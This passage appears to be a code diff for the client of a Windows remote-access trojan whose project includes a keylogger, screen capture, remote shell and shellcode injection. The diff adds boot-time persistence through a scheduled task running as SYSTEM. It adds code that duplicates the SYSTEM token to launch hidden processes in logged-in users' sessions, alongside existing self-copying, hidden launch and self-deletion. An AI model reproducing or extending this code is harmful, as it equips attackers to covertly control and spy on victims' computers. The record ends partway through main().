<ClCompile Include="test.cpp" />
|
<ClCompile Include="test.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -177,6 +178,7 @@
|
|||||||
<ClInclude Include="reg_startup.h" />
|
<ClInclude Include="reg_startup.h" />
|
||||||
<ClInclude Include="resource1.h" />
|
<ClInclude Include="resource1.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
@@ -201,6 +201,7 @@
|
|||||||
<ClCompile Include="keylogger.cpp" />
|
<ClCompile Include="keylogger.cpp" />
|
||||||
<ClCompile Include="Loader.cpp" />
|
<ClCompile Include="Loader.cpp" />
|
||||||
<ClCompile Include="LoginServer.cpp" />
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
<ClCompile Include="Manager.cpp" />
|
<ClCompile Include="Manager.cpp" />
|
||||||
<ClCompile Include="MemoryModule.c" />
|
<ClCompile Include="MemoryModule.c" />
|
||||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
@@ -213,6 +214,7 @@
|
|||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
<ClCompile Include="ShellManager.cpp" />
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
@@ -251,6 +253,7 @@
|
|||||||
<ClInclude Include="keylogger.h" />
|
<ClInclude Include="keylogger.h" />
|
||||||
<ClInclude Include="LoginServer.h" />
|
<ClInclude Include="LoginServer.h" />
|
||||||
<ClInclude Include="Manager.h" />
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
<ClInclude Include="MemoryModule.h" />
|
<ClInclude Include="MemoryModule.h" />
|
||||||
<ClInclude Include="my_clip.h" />
|
<ClInclude Include="my_clip.h" />
|
||||||
<ClInclude Include="proxy\ProxyManager.h" />
|
<ClInclude Include="proxy\ProxyManager.h" />
|
||||||
@@ -265,6 +268,7 @@
|
|||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
<ClInclude Include="ShellManager.h" />
|
<ClInclude Include="ShellManager.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
|
|||||||
@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
|
|||||||
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
|
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
|
||||||
{
|
{
|
||||||
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
ITrigger* pTrigger = NULL;
|
ITrigger* pTrigger = NULL;
|
||||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
|
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
|
||||||
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
// 普通用户需要指定具体用户
|
// 普通用户需要指定具体用户
|
||||||
if (!runasAdmin) {
|
if (!systemBoot && !runasAdmin) {
|
||||||
ILogonTrigger* pLogonTrigger = NULL;
|
ILogonTrigger* pLogonTrigger = NULL;
|
||||||
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
||||||
if (SUCCEEDED(hr)) {
|
if (SUCCEEDED(hr)) {
|
||||||
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
|
|
||||||
// 权限配置
|
// 权限配置
|
||||||
IPrincipal* pPrincipal = NULL;
|
IPrincipal* pPrincipal = NULL;
|
||||||
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
|
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
|
||||||
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
||||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
if (systemBoot)
|
||||||
|
{
|
||||||
|
BSTR sys = SysAllocString(L"SYSTEM");
|
||||||
|
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
|
||||||
|
if (FAILED(hr))
|
||||||
|
Mprintf("put_UserId失败:%ld\n", hr);
|
||||||
|
SysFreeString(sys);
|
||||||
|
}
|
||||||
|
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||||
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||||
} else {
|
} else {
|
||||||
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
|||||||
bstrTaskName,
|
bstrTaskName,
|
||||||
pTask,
|
pTask,
|
||||||
TASK_CREATE_OR_UPDATE,
|
TASK_CREATE_OR_UPDATE,
|
||||||
runasAdmin ? vUser : empty,
|
systemBoot ? empty : (runasAdmin ? vUser : empty),
|
||||||
empty,
|
empty,
|
||||||
TASK_LOGON_INTERACTIVE_TOKEN,
|
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
|
||||||
empty,
|
empty,
|
||||||
&pRegisteredTask
|
&pRegisteredTask
|
||||||
);
|
);
|
||||||
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
|
|||||||
return isAdmin;
|
return isAdmin;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
BOOL IsSystem()
|
||||||
|
{
|
||||||
|
HANDLE token = NULL;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
DWORD size = 0;
|
||||||
|
GetTokenInformation(token, TokenUser, NULL, 0, &size);
|
||||||
|
|
||||||
|
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
|
||||||
|
if (!user) { CloseHandle(token); return FALSE; }
|
||||||
|
|
||||||
|
BOOL result = FALSE;
|
||||||
|
if (GetTokenInformation(token, TokenUser, user, size, &size))
|
||||||
|
{
|
||||||
|
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
|
||||||
|
|
||||||
|
PSID systemSid = NULL;
|
||||||
|
AllocateAndInitializeSid(&nt, 1,
|
||||||
|
SECURITY_LOCAL_SYSTEM_RID,
|
||||||
|
0, 0, 0, 0, 0, 0, 0,
|
||||||
|
&systemSid);
|
||||||
|
|
||||||
|
result = EqualSid(user->User.Sid, systemSid);
|
||||||
|
|
||||||
|
FreeSid(systemSid);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(user);
|
||||||
|
CloseHandle(token);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||||
{
|
{
|
||||||
SHELLEXECUTEINFOA shExecInfo;
|
SHELLEXECUTEINFOA shExecInfo;
|
||||||
@@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName)
|
|||||||
return folder;
|
return folder;
|
||||||
}
|
}
|
||||||
|
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
|
||||||
{
|
{
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
return 1;
|
return 1;
|
||||||
@@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
|
|
||||||
char dstFile[MAX_PATH] = { 0 };
|
char dstFile[MAX_PATH] = { 0 };
|
||||||
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
||||||
BOOL isAdmin = IsRunningAsAdmin();
|
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
|
||||||
if (isAdmin) runasAdmin = true;
|
bool bootRun = false;
|
||||||
|
if (isAdmin) {
|
||||||
|
bootRun = runasAdmin == 2;
|
||||||
|
runasAdmin = true;
|
||||||
|
}
|
||||||
if (_stricmp(curFile, dstFile) != 0) {
|
if (_stricmp(curFile, dstFile) != 0) {
|
||||||
if (!isAdmin) {
|
if (!isAdmin) {
|
||||||
if (runasAdmin) {
|
if (runasAdmin) {
|
||||||
@@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
||||||
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
||||||
|
|
||||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
|
||||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
if (b && status) {
|
if (b && status) {
|
||||||
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
||||||
@@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
|
||||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
if (lockFile)
|
if (lockFile)
|
||||||
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
|||||||
@@ -6,7 +6,8 @@ const char* GetInstallDirectory(const char* startupName);
|
|||||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||||
|
|
||||||
// return > 0 means to continue running else terminate.
|
// return > 0 means to continue running else terminate.
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
|
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
|
||||||
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
|
||||||
|
|
||||||
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
||||||
bool IsSystemInSession0();
|
bool IsSystemInSession0();
|
||||||
|
|||||||
176
client/session.cpp
Normal file
176
client/session.cpp
Normal file
@@ -0,0 +1,176 @@
|
|||||||
|
#include "session.h"
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
#include <userenv.h>
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "common/logger.h"
|
||||||
|
#pragma comment(lib, "Wtsapi32.lib")
|
||||||
|
#pragma comment(lib, "Userenv.lib")
|
||||||
|
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||||
|
|
||||||
|
static DWORD g_lastIndex = 0;
|
||||||
|
|
||||||
|
DWORD GetNextSessionRoundRobin()
|
||||||
|
{
|
||||||
|
PWTS_SESSION_INFOA sessions = NULL;
|
||||||
|
DWORD count = 0;
|
||||||
|
|
||||||
|
if (!WTSEnumerateSessionsA(
|
||||||
|
WTS_CURRENT_SERVER_HANDLE,
|
||||||
|
0,
|
||||||
|
1,
|
||||||
|
&sessions,
|
||||||
|
&count))
|
||||||
|
{
|
||||||
|
Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError());
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (count == 0)
|
||||||
|
{
|
||||||
|
Mprintf("WTSEnumerateSessionsA Failed: count=0\n");
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD start = g_lastIndex;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < count; i++)
|
||||||
|
{
|
||||||
|
DWORD idx = (start + i) % count;
|
||||||
|
|
||||||
|
DWORD sessionId = sessions[idx].SessionId;
|
||||||
|
|
||||||
|
// 过滤无效 session
|
||||||
|
if (sessionId == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
WTS_CONNECTSTATE_CLASS* state = NULL;
|
||||||
|
DWORD bytes = 0;
|
||||||
|
|
||||||
|
if (WTSQuerySessionInformationA(
|
||||||
|
WTS_CURRENT_SERVER_HANDLE,
|
||||||
|
sessionId,
|
||||||
|
WTSConnectState,
|
||||||
|
(LPSTR*)&state,
|
||||||
|
&bytes))
|
||||||
|
{
|
||||||
|
BOOL ok = (state && (
|
||||||
|
*state == WTSActive ||
|
||||||
|
*state == WTSConnected));
|
||||||
|
|
||||||
|
WTSFreeMemory(state);
|
||||||
|
|
||||||
|
if (ok)
|
||||||
|
{
|
||||||
|
g_lastIndex = (idx + 1) % count;
|
||||||
|
DWORD result = sessionId;
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd)
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
HANDLE hDupToken = NULL;
|
||||||
|
// 获取当前服务进程的 SYSTEM 令牌
|
||||||
|
char buf[500];
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||||
|
sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 复制为可用于创建进程的主令牌
|
||||||
|
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||||
|
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||||
|
sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
SAFE_CLOSE_HANDLE(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 修改令牌的会话 ID 为目标用户会话
|
||||||
|
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||||
|
sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
SAFE_CLOSE_HANDLE(hDupToken);
|
||||||
|
SAFE_CLOSE_HANDLE(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("Token duplicated");
|
||||||
|
|
||||||
|
char path[MAX_PATH];
|
||||||
|
if (!exePath)
|
||||||
|
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||||
|
else
|
||||||
|
lstrcpyA(path, exePath);
|
||||||
|
|
||||||
|
// 获取用户令牌(用于获取环境块)
|
||||||
|
LPVOID lpEnvironment = NULL;
|
||||||
|
HANDLE hUserToken = NULL;
|
||||||
|
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||||
|
Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用用户令牌创建环境块
|
||||||
|
if (hUserToken) {
|
||||||
|
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||||
|
Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
CloseHandle(hUserToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
STARTUPINFOA si = { 0 };
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
si.lpDesktop = (LPSTR)"winsta0\\default";
|
||||||
|
char cmdStr[300];
|
||||||
|
sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd));
|
||||||
|
BOOL result = CreateProcessAsUserA(
|
||||||
|
hDupToken,
|
||||||
|
NULL,
|
||||||
|
(LPSTR)cmdStr,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
FALSE,
|
||||||
|
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
|
||||||
|
lpEnvironment,
|
||||||
|
NULL,
|
||||||
|
&si,
|
||||||
|
&pi);
|
||||||
|
|
||||||
|
if (result)
|
||||||
|
{
|
||||||
|
Mprintf("CreateProcessAsUserA Succeed\n");
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hDupToken);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void RunRoundRobinAgent(BYTE cmd)
|
||||||
|
{
|
||||||
|
DWORD sessionId = GetNextSessionRoundRobin();
|
||||||
|
|
||||||
|
if (sessionId == 0xFFFFFFFF)
|
||||||
|
return;
|
||||||
|
|
||||||
|
StartProcessInSessionA(sessionId, NULL, cmd);
|
||||||
|
}
|
||||||
7
client/session.h
Normal file
7
client/session.h
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
DWORD GetNextSessionRoundRobin();
|
||||||
|
|
||||||
|
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd);
|
||||||
|
|
||||||
|
void RunRoundRobinAgent(BYTE cmd);
|
||||||
119
client/test.cpp
119
client/test.cpp
@@ -8,6 +8,7 @@
|
|||||||
#include <common/md5.h>
|
#include <common/md5.h>
|
||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
#include "auto_start.h"
|
#include "auto_start.h"
|
||||||
|
#include "Common.h"
|
||||||
// A shell code loader connect to 127.0.0.1:6543.
|
// A shell code loader connect to 127.0.0.1:6543.
|
||||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||||
// #include "SCLoader.cpp"
|
// #include "SCLoader.cpp"
|
||||||
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
|
|||||||
|
|
||||||
typedef BOOL (*IsExit)();
|
typedef BOOL (*IsExit)();
|
||||||
|
|
||||||
|
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
|
||||||
|
|
||||||
// 停止程序运行
|
// 停止程序运行
|
||||||
StopRun stop = NULL;
|
StopRun stop = NULL;
|
||||||
|
|
||||||
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 运行程序.
|
// 运行程序.
|
||||||
BOOL Run(const char* argv1, int argv2);
|
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
|
||||||
|
|
||||||
// Package header.
|
// Package header.
|
||||||
typedef struct PkgHeader {
|
typedef struct PkgHeader {
|
||||||
@@ -305,60 +308,64 @@ int InjectShellcode(BYTE* buf, int len) {
|
|||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||||
InitWindowsService(NewService(
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
if (!runCmd) {
|
||||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
InitWindowsService(NewService(
|
||||||
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
||||||
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
||||||
// 注册启动项
|
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
||||||
int r = RegisterStartup(
|
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
|
||||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
|
||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
// 注册启动项
|
||||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
int r = RegisterStartup(
|
||||||
if (r <= 0) {
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||||
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||||
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
|
||||||
if (!folder) {
|
if (r <= 0) {
|
||||||
return -1;
|
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||||
}
|
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
||||||
char dstFile[MAX_PATH] = { 0 };
|
if (!folder) {
|
||||||
sprintf(dstFile, "%s\\ServerDll.dll", folder);
|
|
||||||
if (_access(dstFile, 0) == -1) {
|
|
||||||
char curFile[MAX_PATH] = { 0 };
|
|
||||||
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
|
||||||
GET_FILEPATH(curFile, "ServerDll.dll");
|
|
||||||
if (_access(curFile, 0) == -1) {
|
|
||||||
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
|
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
MoveFileA(curFile, dstFile);
|
char dstFile[MAX_PATH] = { 0 };
|
||||||
|
sprintf(dstFile, "%s\\ServerDll.dll", folder);
|
||||||
|
if (_access(dstFile, 0) == -1) {
|
||||||
|
char curFile[MAX_PATH] = { 0 };
|
||||||
|
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||||
|
GET_FILEPATH(curFile, "ServerDll.dll");
|
||||||
|
if (_access(curFile, 0) == -1) {
|
||||||
|
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
MoveFileA(curFile, dstFile);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
BOOL s = self_del();
|
||||||
|
if (!IsDebug) {
|
||||||
|
Mprintf("结束运行.\n");
|
||||||
|
Sleep(1000);
|
||||||
|
return r;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
BOOL s = self_del();
|
|
||||||
if (!IsDebug) {
|
|
||||||
Mprintf("结束运行.\n");
|
|
||||||
Sleep(1000);
|
|
||||||
return r;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
|
BOOL ok = SetSelfStart(argv[0], REG_NAME, Logf);
|
||||||
if(!ok) {
|
if (!ok) {
|
||||||
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isService) {
|
if (isService) {
|
||||||
bool ret = RunAsWindowsService(argc, argv);
|
bool ret = RunAsWindowsService(argc, argv);
|
||||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||||
for (int i = 0; !ret && i < argc; i++) {
|
for (int i = 0; !ret && i < argc; i++) {
|
||||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||||
|
}
|
||||||
|
if (ret) {
|
||||||
|
Mprintf("结束运行.\n");
|
||||||
|
Sleep(1000);
|
||||||
|
return 0x20251202;
|
||||||
|
}
|
||||||
|
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||||
}
|
}
|
||||||
if (ret) {
|
|
||||||
Mprintf("结束运行.\n");
|
|
||||||
Sleep(1000);
|
|
||||||
return 0x20251202;
|
|
||||||
}
|
|
||||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
status = 0;
|
status = 0;
|
||||||
@@ -376,7 +383,8 @@ int main(int argc, const char *argv[])
|
|||||||
do {
|
do {
|
||||||
